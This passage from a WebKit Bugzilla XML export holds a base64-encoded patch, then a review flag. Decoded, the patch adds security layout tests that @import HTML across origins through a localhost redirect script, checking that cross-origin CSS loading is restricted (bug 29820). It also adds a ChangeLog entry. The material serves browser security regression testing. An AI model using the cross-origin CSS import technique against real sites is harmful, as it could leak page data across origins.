ZXRQcm9wZXJ0eVZhbHVlKCdiYWNrZ3JvdW5kLWNvbG9yJyk7CisgIGVsZSA9IGRvY3VtZW50Lmdl
dEVsZW1lbnRCeUlkKCJpZDYiKTsKKyAgZWxlLmlubmVyVGV4dCA9ICJJTVBPUlQgQ3Jvc3Mtb3Jp
Z2luLCBDU1MsIGludmFsaWQ6ICIgKyB3aW5kb3cuZ2V0Q29tcHV0ZWRTdHlsZShlbGUsIG51bGwp
LmdldFByb3BlcnR5VmFsdWUoJ2JhY2tncm91bmQtY29sb3InKTsKKyAgZWxlID0gZG9jdW1lbnQu
Z2V0RWxlbWVudEJ5SWQoImlkNyIpOworICBlbGUuaW5uZXJUZXh0ID0gIklNUE9SVCBTYW1lLW9y
aWdpbiwgSFRNTCwgaW52YWxpZDogIiArIHdpbmRvdy5nZXRDb21wdXRlZFN0eWxlKGVsZSwgbnVs
bCkuZ2V0UHJvcGVydHlWYWx1ZSgnYmFja2dyb3VuZC1jb2xvcicpOworCisgIGlmICh3aW5kb3cu
bGF5b3V0VGVzdENvbnRyb2xsZXIpCisgICAgbGF5b3V0VGVzdENvbnRyb2xsZXIubm90aWZ5RG9u
ZSgpOworfQorPC9zY3JpcHQ+Cis8c3R5bGU+CisvKiBEZWxpYmVyYXRlbHkgcmV1c2UgdGhlIHNh
bWUgZmlsZSAvIGNsYXNzIC8gaWQgb24gdGhpcyBmaXJzdCBvbmUgKi8KK0BpbXBvcnQgInJlc291
cmNlcy9yZWRpci5waHA/dXJsPWh0dHA6Ly9sb2NhbGhvc3Q6ODAwMC9zZWN1cml0eS9yZXNvdXJj
ZXMveG9yaWdpbmNzczIuaHRtbCI7CitAaW1wb3J0ICJyZXNvdXJjZXMvcmVkaXIucGhwP3VybD1o
dHRwOi8vbG9jYWxob3N0OjgwMDAvc2VjdXJpdHkvcmVzb3VyY2VzL3hvcmlnaW5jc3M0Lmh0bWwi
OworQGltcG9ydCAicmVzb3VyY2VzL3JlZGlyLnBocD91cmw9aHR0cDovL2xvY2FsaG9zdDo4MDAw
L3NlY3VyaXR5L3Jlc291cmNlcy94b3JpZ2luY3NzMi5jc3MiOworQGltcG9ydCAicmVzb3VyY2Vz
L3hvcmlnaW5jc3M1Lmh0bWwiOworPC9zdHlsZT4KKzwvaGVhZD4KKzxib2R5PjxkaXYgaWQ9Imlk
MSIgY2xhc3M9ImlkMSI+PC9kaXY+PGRpdiBpZD0iaWQyIiBjbGFzcz0iaWQyIj48L2Rpdj48ZGl2
IGlkPSJpZDMiIGNsYXNzPSJpZDMiPjwvZGl2PjxkaXYgaWQ9ImlkNCIgY2xhc3M9ImlkNCI+PC9k
aXY+PGRpdiBpZD0iaWQ1IiBjbGFzcz0iaWQ1Ij48L2Rpdj48ZGl2IGlkPSJpZDYiIGNsYXNzPSJp
ZDYiPjwvZGl2PjxkaXYgaWQ9ImlkNyIgY2xhc3M9ImlkNyI+PC9kaXY+PC9ib2R5PgorPC9odG1s
PgpJbmRleDogTGF5b3V0VGVzdHMvQ2hhbmdlTG9nCj09PT09PT09PT09PT09PT09PT09PT09PT09
PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KLS0tIExheW91dFRlc3Rz
L0NoYW5nZUxvZwkocmV2aXNpb24gNTIxMTkpCisrKyBMYXlvdXRUZXN0cy9DaGFuZ2VMb2cJKHdv
cmtpbmcgY29weSkKQEAgLTEsMyArMSwyMyBAQAorMjAwOS0xMS0xMSAgQ2hyaXMgRXZhbnMgIDxj
ZXZhbnNAY2hyb21pdW0ub3JnPgorCisgICAgICAgIFJldmlld2VkIGJ5IE5PQk9EWSAoT09QUyEp
LgorCisgICAgICAgIFRlc3QgZm9yIGh0dHBzOi8vYnVncy53ZWJraXQub3JnL3Nob3dfYnVnLmNn
aT9pZD0yOTgyMAorICAgICAgICBBZG9wdCBhIG1vcmUgY29uc2VydmF0aXZlIGFwcHJvYWNoIGZv
ciBsb2FkaW5nIENTUyBjcm9zcy1vcmlnaW4uCisKKyAgICAgICAgKiBodHRwL3Rlc3RzL3NlY3Vy
aXR5L2Nyb3NzLW9yaWdpbi1jc3MuaHRtbDogQWRkZWQuCisgICAgICAgICogaHR0cC90ZXN0cy9z
ZWN1cml0eS9jcm9zcy1vcmlnaW4tY3NzLWV4cGVjdGVkLnR4dDogQWRkZWQuCisgICAgICAgICog
aHR0cC90ZXN0cy9zZWN1cml0eS9jcm9zcy1vcmlnaW4tY3NzLWluLXhtbC54bWw6IEFkZGVkLgor
ICAgICAgICAqIGh0dHAvdGVzdHMvc2VjdXJpdHkvY3Jvc3Mtb3JpZ2luLWNzcy1pbi14bWwtZXhw
ZWN0ZWQudHh0OiBBZGRlZC4KKyAgICAgICAgKiBodHRwL3Rlc3RzL3NlY3VyaXR5L3Jlc291cmNl
cy94b3JpZ2luY3NzMS5jc3M6IEFkZGVkLgorICAgICAgICAqIGh0dHAvdGVzdHMvc2VjdXJpdHkv
cmVzb3VyY2VzL3hvcmlnaW5jc3MyLmNzczogQWRkZWQuCisgICAgICAgICogaHR0cC90ZXN0cy9z
ZWN1cml0eS9yZXNvdXJjZXMveG9yaWdpbmNzczEuaHRtbDogQWRkZWQuCisgICAgICAgICogaHR0
cC90ZXN0cy9zZWN1cml0eS9yZXNvdXJjZXMveG9yaWdpbmNzczIuaHRtbDogQWRkZWQuCisgICAg
ICAgICogaHR0cC90ZXN0cy9zZWN1cml0eS9yZXNvdXJjZXMveG9yaWdpbmNzczMuaHRtbDogQWRk
ZWQuCisgICAgICAgICogaHR0cC90ZXN0cy9zZWN1cml0eS9yZXNvdXJjZXMveG9yaWdpbmNzczQu
aHRtbDogQWRkZWQuCisgICAgICAgICogaHR0cC90ZXN0cy9zZWN1cml0eS9yZXNvdXJjZXMveG9y
aWdpbmNzczUuaHRtbDogQWRkZWQuCisgICAgICAgICogaHR0cC90ZXN0cy9zZWN1cml0eS9yZXNv
dXJjZXMveG9yaWdpbmNzczYuaHRtbDogQWRkZWQuCisKIDIwMDktMTItMTQgIEtpbnVrbyBZYXN1
ZGEgIDxraW51a29AY2hyb21pdW0uY29tPgogCiAgICAgICAgIFJldmlld2VkIGJ5IERhcmluIEZp
c2hlci4K
</data>
<flag name="review"
          id="26748"
          type_id="1"
          status="+"
          setter="abarth"
    />
          </attachment>
      

    </bug>

</bugzilla>